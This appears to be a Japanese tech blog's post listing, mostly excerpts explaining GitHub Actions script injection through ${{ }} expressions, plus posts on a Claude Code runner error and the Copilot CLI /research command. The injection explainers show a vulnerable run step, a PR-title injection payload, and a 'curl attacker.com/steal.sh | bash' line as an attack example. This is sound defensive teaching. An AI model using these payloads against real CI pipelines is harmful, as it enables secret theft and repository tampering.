GitHub Actions スクリプトインジェクション対策

概要 ${{ }} テンプレート式はシェル起動前に展開されるため、攻撃者制御のコンテキスト(PR タイトル・ブランチ名・Issue 本文)をそのまま run に埋め込むとコマンドインジェクション成立。 対策 env で環境変数に渡して ${VAR} で参照 actionlint・zizmor で自動検出 サードパーティ Actions はコミットハッシュでピン留め ソース記事 GitHub Actions スクリプトインジェクション完全ガイド — 2026-03 信頼できない入力の扱い — 2026-03

2026年4月6日 · 1 分

Claude Code + Self-hosted Runner: 「Auto mode is unavailable for your plan」エラーの原因と対処

症状 GitHub Actions の self-hosted runner で claude --print を使った自動処理が突然動かなくなった。 claude CLI failed (rc=1): stdout=Auto mode is unavailable for your plan すべてのエージェント呼び出し(researcher, risk, portfolio optimizer)が同じエラーで失敗し、日次の投資提案が生成されなくなった。 ローカルで claude --print "hello" を実行すると正常に動作する。claude auth status でも Max プランで認証済みと表示される。 原因 2つの問題が重なっていた。 1. OAuth トークンの期限切れ(副次的問題) ワークフローで CLAUDE_CODE_OAUTH_TOKEN 環境変数に 期限切れの OAuth トークン を GitHub Secrets から渡していた。 1 2 3 4 # daily-proposal.yml - name: 日次投資提案を生成 env: CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} # ← 2月に設定したまま GitHub Secrets のトークンは静的で自動更新されない ローカルでは環境変数未設定のため、キーチェーンから有効なトークンが自動取得されて動作していた 2. Opus の auto mode 制限(真の原因) claude --print はデフォルトで auto mode(ツール自動承認)で動作する。Max プランで Opus モデルの auto mode が制限されたため、トークンが有効でも Opus では --print が使えなくなっていた。 ...

2026年3月31日 · 2 分

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している 『GitHub CI/CD実践ガイド』著者の tmknom 氏(@tmknom)が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。 はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね! 引用されている kou_pg_0131 氏の Zenn 記事は、GitHub Actions の run ステップで ${{ }} テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。 何が危険なのか — 30秒で理解する 1 2 # 危険なコード - run: echo "PR title is ${{ github.event.pull_request.title }}" 一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、任意のコマンドが実行されます。 "; echo INJECTED" 展開後のシェルコマンドは以下になります。 1 echo "PR title is "; echo INJECTED"" セミコロンでコマンドが分割され、echo INJECTED が実行されます。echo の代わりに curl attacker.com/steal.sh | bash を書けば、CI/CD ランナー上でリバースシェルの確立、シークレットの窃取、リポジトリの改ざんが可能です。 ...

2026年3月6日 · 3 分

GitHub Actionsスクリプトインジェクション完全解説 — ${{ }}をrunに書いた瞬間、攻撃が始まる

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃が始まる @koki_develop 氏のポストで紹介された Zenn 記事が話題になっています。 書きました。GitHub Actions 触る人は全員知っておいてほしい 【GitHub Actions】スクリプトインジェクションの実践例(koki 氏)は、GitHub Actions ワークフローにおけるスクリプトインジェクションの仕組みを具体的なコード例で解説した記事です。「プライベートリポジトリなら大丈夫?」という疑問にも明確に「安全ではない」と回答しています。 2025 年には GhostAction キャンペーンで 3,325 件のシークレットが窃取され、tj-actions/changed-files のサプライチェーン攻撃では 23,000 以上のリポジトリが影響を受けました。スクリプトインジェクションは理論上の脅威ではなく、現在進行形のリスクです。 スクリプトインジェクションとは何か GitHub Actions の ${{ }} 式は、シェルがコマンドを解析する前にテンプレートエンジンによって展開されます。この順序が脆弱性の根本原因です。 通常の期待: ${{ github.event.pull_request.title }} → 文字列として処理される 実際の動作: ${{ github.event.pull_request.title }} → 値がそのままシェルスクリプトに埋め込まれる → シェルがコマンドとして解釈する つまり、PR タイトルやブランチ名など攻撃者が制御可能な値が、そのままシェルコマンドの一部になります。 攻撃の実践例 攻撃 1: PR タイトルによるインジェクション 脆弱なワークフロー: 1 2 3 4 5 6 7 8 on: pull_request: jobs: example: runs-on: ubuntu-latest steps: - run: echo "PR title is ${{ github.event.pull_request.title }}" 攻撃者が PR タイトルを "; echo INJECTED" に設定すると: ...

2026年3月5日 · 3 分

GitHub Copilot CLI の /research コマンド --- コミットログも Actions 履歴も全部調べてくれるディープリサーチ

GitHub Copilot CLI の /research コマンド — コミットログも Actions 履歴も全部調べてくれるディープリサーチ @07JP27 氏が X で連続投稿し、GitHub Copilot CLI の /research コマンドの威力を紹介しています。 /research コマンドすげえ。Web を Deep Research してくれるのはもちろん、紐づくリポジトリのコミットログとか GitHub Actions の実行履歴まで全部見てくれて「お前のこのときのコミットのここが原因だぞ。Actions のログにもこう出てるだろ」みたいなことを言ってくる。 元の投稿では Qiita 記事(@shyamagu 氏の解説)も参照されており、MCP ツール連携や WorkIQ との統合例が紹介されています。本記事では、/research コマンドの技術的な仕組みと、Claude Code との比較を交えて解説します。 /research コマンドとは 概要 2026 年 2 月 25 日、GitHub Copilot CLI が全有料プラン向けに一般提供(GA)を開始しました。同日リリースの v0.0.417 で追加された /research コマンドは、ディープリサーチ専用のスラッシュコマンドです。 通常のチャットが速度重視なのに対し、/research は徹底性(thoroughness)を重視します。複数のツールを呼び出しながら情報を収集し、数百行に及ぶ Markdown レポートを生成します。 1 2 3 4 5 # 基本的な使い方 /research Azure App Service の 2026 年の新機能 # MCP ツールを明示的に指定 /research microsoft-docs ツールを使って Azure App Service の新機能を調査してください 3 つのクエリ分類 /research はクエリを自動分類し、回答形式を最適化します。 ...

2026年3月4日 · 3 分